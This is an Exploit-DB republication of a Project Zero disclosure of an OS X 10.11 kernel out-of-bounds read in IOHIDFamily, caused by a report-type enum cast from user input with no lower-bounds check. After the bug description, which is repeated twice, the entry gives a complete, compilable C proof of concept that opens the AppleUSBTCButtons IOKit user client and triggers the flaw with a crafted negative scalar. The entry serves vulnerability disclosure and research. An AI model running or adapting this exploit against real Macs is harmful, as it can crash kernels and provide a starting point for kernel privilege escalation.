Apple Mac OSX Kernel - Out-of-Bounds Read of Object Pointer Due to Insufficient Checks in Raw Cast to enum Type

EDB-ID:

39927




Platform:

OSX

Date:

2016-06-10


/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=774

The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,
which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:

            ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]

handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds
check here too:

    if ( reportType >= kIOHIDReportTypeCount )
              return kIOReturnBadArgument;

reportType is then used here:
        element = GetHeadElement( GetReportHandlerSlot(reportID),
                                  reportType);

        while ( element ) {
            shouldTickle |= element->shouldTickleActivity();
            changed |= element->processReport( reportID,

where GetHeadElement is defined as:

#define GetHeadElement(slot, type)  _reportHandlers[slot].head[type]

This leads to an OOB read off the head array followed by virtual function calls

Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2

Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.

I can provide panic logs if required.
*/

// ianbeer

// clang -o hidlib_oob hidlib_oob.c -framework IOKit -framework CoreFoundation

/*
OS X kernel OOB read of object pointer due to insufficient checks in raw cast to enum type

The IOHIDFamily function IOHIDDevice::handleReportWithTime takes at attacker controlled unchecked IOHIDReportType enum,
which was cast from an int in either IOHIDLibUserClient::_setReport or _getReport:

            ret = target->setReport(arguments->structureInput, arguments->structureInputSize, (IOHIDReportType)arguments->scalarInput[0]

handleReportWithTime only checks that the enum is <= the max, but enums are really just (signed) ints so there needs to be a lower-bounds
check here too:

    if ( reportType >= kIOHIDReportTypeCount )
              return kIOReturnBadArgument;

reportType is then used here:
        element = GetHeadElement( GetReportHandlerSlot(reportID),
                                  reportType);

        while ( element ) {
            shouldTickle |= element->shouldTickleActivity();
            changed |= element->processReport( reportID,

where GetHeadElement is defined as:

#define GetHeadElement(slot, type)  _reportHandlers[slot].head[type]

This leads to an OOB read off the head array followed by virtual function calls

Tested on OS X 10.11.4 (15E65) on MacBookAir 5,2

Note that repro'ing this might be more involved on other models as there are a lot of different HID devices and drivers.

I can provide panic logs if required.
*/

#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <unistd.h>

#include <libkern/OSAtomic.h>
#include <mach/mach_error.h>

#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>

io_connect_t get_user_client(const char* name, int type) {
  kern_return_t err;
  CFDictionaryRef matching;
  io_service_t service;

  // try IOServiceMatching
  matching = IOServiceMatching(name);
  service = IOServiceGetMatchingService(kIOMasterPortDefault, matching); // consume a ref on matching
  
  if (service == MACH_PORT_NULL) {
    // try IOServiceNameMatching
    matching = IOServiceNameMatching(name);
    service = IOServiceGetMatchingService(kIOMasterPortDefault, matching);
  }

  if (service == MACH_PORT_NULL) {
    // try everything and look for a partial name match
    matching = IOServiceMatching("IOService");
    io_iterator_t iterator;
    IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
    
    int found_it = 0;
    while ((service = IOIteratorNext(iterator)) != IO_OBJECT_NULL) {
      io_name_t object_name;
      IOObjectGetClass(service, object_name);
      if (strstr(object_name, name)) {
        found_it = 1;
        break;
      }
      IOObjectRelease(service);
    }
    IOObjectRelease(iterator);

    if (!found_it) {
      // couldn't find any matches for the name anywhere
      return MACH_PORT_NULL;
    }
  }

  io_connect_t conn = MACH_PORT_NULL;

  err = IOServiceOpen(service, mach_task_self(), type, &conn);
  if (err != KERN_SUCCESS){
    printf("IOServiceOpen failed: %s\n", mach_error_string(err));
    IOObjectRelease(service);
    return MACH_PORT_NULL;
  }
  IOObjectRelease(service);
  
  return conn;
}

kern_return_t poc(io_connect_t client){  
  unsigned int selector;

  uint64_t inputScalar[16];
  size_t inputScalarCnt = 0;

  uint8_t inputStruct[4096];
  size_t inputStructCnt = 0; 

  uint64_t outputScalar[16];
  uint32_t outputScalarCnt = 0;

  char outputStruct[4096];
  size_t outputStructCnt = 0;
  
  inputScalar[0] = 0xe0000000; // cast to an enum (int) and no lower-bounds check
  inputScalar[1] = 0x00a90000;
  inputScalar[2] = 0;

  inputScalarCnt = 3;

  outputStructCnt = 0x1000;

  selector = 12;

  return IOConnectCallMethod(
    client,
    selector,
    inputScalar,
    inputScalarCnt,
    inputStruct,
    inputStructCnt,
    outputScalar,
    &outputScalarCnt,
    outputStruct,
    &outputStructCnt);
}


int main(int argc, char** argv){
  io_connect_t client = get_user_client("AppleUSBTCButtons", 0);
  if (client == MACH_PORT_NULL) {
    printf("no client\n");
    return 1;
  }

  poc(client);

  return 0; 
}